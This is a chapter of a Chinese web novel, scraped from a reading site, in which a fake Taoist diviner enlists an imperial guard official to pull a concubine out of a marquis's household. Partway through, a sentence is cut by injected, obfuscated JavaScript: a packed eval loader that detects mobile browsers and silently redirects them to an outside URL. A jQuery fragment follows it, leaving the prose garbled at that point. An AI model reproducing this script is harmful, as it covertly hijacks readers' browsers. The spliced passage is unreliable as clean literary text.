默认冷灰
24号文字
方正启体

7. 两条路

作者:天山茶藨子本书字数:K更新时间:
    门枢响动,先半扇天光侧进来,而后骤然又一暗。一个高大的黑影封死退路,偏厅内瞬间冷了十八度。


    周冠整个人僵住,连呼吸都放得极轻。尚蓓稳了稳心神,起身拱手:“夏大人,别来无恙。”


    夏楠目光在二人身上略一梭巡,冷哼一声:“大师上回访了什么友,竟连赏银都不想等了?”


    听他这话,尚蓓暗自松了口气。至少他一张嘴提的是她放他鸽子的事,而非什么于痊奸细异相妖道。


    她眼神活泛了些,抬起头打量他。他今日穿了身玄色方领袍,腰束革带,没佩刀,瞧着倒比先前少了几分杀气,多了几分闲散。


    “贫道还以为夏大人公务繁忙,总得晚些才能得空,却不知夏大人办事如此利落,不过半个月便回了邱城。”她语气诚恳,“让夏大人扑了个空,确实是贫道的不是。”


    夏楠依旧没给好脸色,大步走到主位坐下,见案上空空,不禁微微皱眉:“来人,上茶。”


    门外迅速端来一个茶盘,清香驱散了淡淡的血腥。夏楠端起茶盏随意灌了一口,搁盏抬眸,语气淡淡:“找我什么事?”


    尚蓓也轻沾茶盏,而后放下茶杯,徐徐道:“冒昧拜访,是有件事想请大人帮忙。”


    “寒暄就免了,说重点。”夏楠一抬下巴。


    尚蓓见他这副不耐烦的模样,只好略去部分缘由,直言道:“贫道前几日接了一卦,到京城来寻人。但人在平阳侯府,是个内眷,而我在京城没什么人脉,带不走此人,故,想请大人出手。”


    尚蓓摸出赤纹金龟壳,轻搁案上,“我也不白麻烦大人,贫道可以免费帮夏大人算一卦,算是交换。”


    夏楠靠到椅背上,瞥一眼那新龟壳,轻嗤:“本官若想找大师算卦,还需要钱?”


    尚蓓神色玄妙地摇摇头:“寻常一卦自然算不得什么。但若要细究道中变卦,就得贫道多耗些法力了。”


    夏楠微微抿唇,没接话,偏头看了眼周冠:“他是?”


    周冠大气也不敢出,慌忙躬了一大礼:“草、草民见、见过夏、夏大人!”


    “这位是委托人派来的帮手,沈府管家,周冠。”尚蓓眼神示意他接话,但见周冠嘴唇抖得像筛子,只好替他开口,“大人若能帮这个忙,沈府亦有重谢。”


    夏楠上下扫视他周身,见他恨不得把自己塞进墙缝里,扫兴地移开目光:“平阳侯府的什么人?”


    尚蓓迅速接道,“冯二公子的宠妾,柳莺。”


    夏楠捻了捻下巴,似乎掂量平阳侯府的分量。


    “还有吗?”


    尚蓓一愣:“还有什么?”


    夏楠不耐地解释:“只要那个宠妾?不要别人?”


    “哦,对,就要那个宠妾。”尚蓓连忙点点头,面露喜色,“大人这是同意了?”


    夏楠没答,又问了一遍:“你确定只要那个柳莺?冯绔要不要?”


    尚蓓“啊”了一声,使劲摇头:“不不不不要不要,把柳莺带出来就行,后面的我可以自己处理。”


    夏楠站起身:“等着。”


    “夏楠”离开了偏厅。


    听着脚步声渐远,周冠这才敢大喘气。他伸手给自己倒了杯茶,压低声音对尚蓓道:“尚道长,夏大人这是……去走动了?”


    尚蓓激动地点点头:“应该是。凭他的权势,应该能说服平阳侯府放人吧?”


    周冠看了眼夏楠离开的方向,心底莫名有些疑虑。这疏通打点,还要去官府画押消契,怎么也得小半日,他就把他们撂在这等?午膳怎么解决?


    他觑了眼尚蓓,只见她面色轻快,手上随意甩搭着铜钱,一不小心甩到桌下,便折身捡起来,又甩。


    大师连锦衣卫都不怕,心里必然有数。周冠默默端起茶盘,到门口又要了一壶。


    约莫过了半个时辰,尚蓓看着“夏楠”和“沈鸯”的坐标逐渐靠北镇抚司大门,急忙拉上周冠迎了出去。


    “多谢夏……”


    “妖道!我与你无冤无仇,你为何要害我!”


    一声凄厉的斥骂响彻北镇抚司前院,尚蓓瞪大眼睛,看着满脸惨白的沈鸯,又看着反剪她双手的夏楠。


    尚蓓回神,赶紧凑上前去,想要接过沈鸯。然而她奋力向前一扑,一副恨不得吃了她的表情。夏楠微微皱眉,箍着她的双手又往后扯了扯。


    “老实点。”


    沈鸯立马缩成个鹌鹑,面上依旧死死盯着她,双目泛红,泪痕未干。尚蓓伸出去的手僵在半空,而后讪讪收回去。


    她扭头去看夏楠,见他一脸公事公办的样子,嘴角抽了抽。


    “夏大人,您就是这么把她带出来的?”


    夏楠看她一眼:“不然呢?一个破落侯府,我还客客气气跟人打商量不成?目的达成就行。”


    他把沈鸯松开,往前一推:“人,我已经带到,现在该道长兑现诺言了。”而后招招手,对一个下属小声吩咐了几句。


    尚蓓气笑了。她想去扶沈鸯,却被她一躲,只好眼神示意周冠。周冠连忙把人引到一旁,轻声劝慰。沈鸯听他解释完,悔得肠子都青了。


    她确实想出府看看,但也是算着冯绔对她足够痴迷,若没混出名堂,改日回来依旧有把握复宠。谁料这道士接应她的方式就是派尊煞神二话不说闯进来给她扣顶奸细的帽子,这下可好,平阳侯府哪儿还敢沾她。


    再看那道士,竟叉着个腰同那煞神瞪起眼来。


    “夏大人干活倒是轻巧,您这样把人带走,往后她怎么处世?”


    夏楠眯起眼:“不认账?你说过后面自己处理的。”


    尚蓓一噎,随即反唇道:“是,行,那卦我照算,别的您什么也别想让我干,成交吗?”


    夏楠抿了抿唇,微微偏头:“回头说查无实据,放人就行了。”


    “您把人放了,再让我去和平阳侯府商量怎么顺顺利利带走她?”尚蓓依旧不买账,“那我找您干嘛?”


    夏楠往腰间一扶,发现没佩刀,遂近前两步,阴影笼在她头顶。


    “尚道长。你要的人,我带到了,后面怎么办,是你的考量。”他语调冰冷,“至于道长算卦,若是偷奸耍滑,该怎么处置,就是本官的事了。”


    尚蓓仰头看他。


    先前观此面相,恰有暖灯旁照。而今他以背蔽日,眸中只有阴凉。


    她定了定神。


    “那我若明明尽了心办事,夏大人却一口咬定我偷奸耍滑呢?”


    “譬如,我为了抄近道,带大人误入一处狼窝。大人可会觉得贫道有心陷害?”


    夏楠眉峰微压。


    “不论道长指了什么路,只要最终结果是人找到,本官自然既往不咎。”


    “道长若是觉得能杀得了本官,大可以试试。但若没杀成,回来问候道长的,就是十八道刑讯了。”


    尚蓓又盯了他片刻,忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550778|204329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然轻笑。


    “好。那就等一切盖棺定论,再论刑赏。”


    她转身,蹲到沈鸯面前。沈鸯下意识地往后缩了缩,却见尚蓓从袖袋摸出一方帕子,递给她,声音轻柔:


    “居士莫怕,且听贫道两言。”


    沈鸯犹豫了一瞬,接过帕子,抽噎着擦了擦眼角。


    “而今居士面前有两条路。一条是跟周管家回去,只说外面寻来的女儿。柳莺这个身份,自然就‘冤死’在北镇抚司里,到邱城,谁也不知你过往。”


    “另一条路,是夏大人立刻出具文书,说抓错了人,将你全须全尾放回侯府,你自然还可以继续做柳莺。只是沈家力微,实在无能将你带走,至多认个亲,给你送些财货。”


    沈鸯一喜,刚想说回侯府,忽然听见北镇抚司门外传来哭喊:


    “夏大人明鉴,莺莺绝不是奸细!我愿意出钱赎人!求你把她还给我!”


    而后又是些拉拉扯扯的声音,兵戈出鞘的声音。


    有人劝他“二公子,这可是北镇抚司,柳姑娘就算出来,身子怕也废了。”


    有人骂他“冯绔!你自个识人不清,别连累平阳侯府!”


    尚蓓微怔,回头去看沈鸯,见她定定看了大门许久,而后缓缓转向尚蓓。


    “我选第一条。”


    “但,我想拜道长为师,学习道法,云游四方。”


    周冠一愣,尚蓓更是面色僵住。她一个靠系统吃饭的假道士,哪来的道法教她。


    她硬着头皮道:“修道这事,很吃天赋的……”


    沈鸯起身整了整衣摆,向尚蓓深深一拜:


    “沈鸯不求修成什么大道,只愿跟着道长看看大周山河,还望道长成全。”


    可她也不云游啊。尚蓓心虚地移开眼:“我……贫道现在有些差事要同夏大人去办,你先随周管家回去,在沈家安顿几日,可好?”


    沈鸯莞尔一笑。


    “既如此,弟子便等师父好消息了。”


    她又拜,而后起身,向周冠轻轻颔首:“劳烦周管家安排了。”


    周冠连忙应下,引着沈鸯到一旁商量返程的事。夏楠轻嗤一声,对着左右道:“把门口清理干净,就说柳莺狱中自尽了。”


    门外很快传来嚎哭,甚至还冒出几句咒骂,随即立刻止住。声音渐远,夏楠转身抬腿往后院迈去,偏头示意尚蓓跟上。尚蓓向周冠和沈鸯轻轻颔首,而后小跑追上他。


    她跟着夏楠一路穿过厅堂,见他偶尔同几个锦衣男子招呼几句,最终在一间司房停下,旁边一个门牌,上书:酉。


    夏楠大跨入内,旋身坐到案后,桌上已经整整齐齐摞了几叠案宗。他抬眸,先抽出张文书,语气严肃:


    “尚道长,听此案前,需先签字画押,直到结案,你都不可擅自行动。若外泄一个字,休怪我不留情面。”


    尚蓓心里一惊,连忙把头往旁一扭:“我什么也没看见,现在还来得及走吗?”


    “晚了。”夏楠微微勾唇,“道长下回找上门来,最好提些难办的差事,不然,倒显得我白赚一笔。”


    尚蓓磨磨牙,搬了个凳子坐到他面前,翻出龟甲铜钱搁在案上:“行吧,反正我也就算个卦带个路,真打架斗殴的事你可别指望我。”


    夏楠轻嗤一声,拍给她半盒印泥。尚蓓仔细读完那“保密条款”,这才谨慎按上手印。


    卷宗翻开,第一页写着:施州失踪案。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)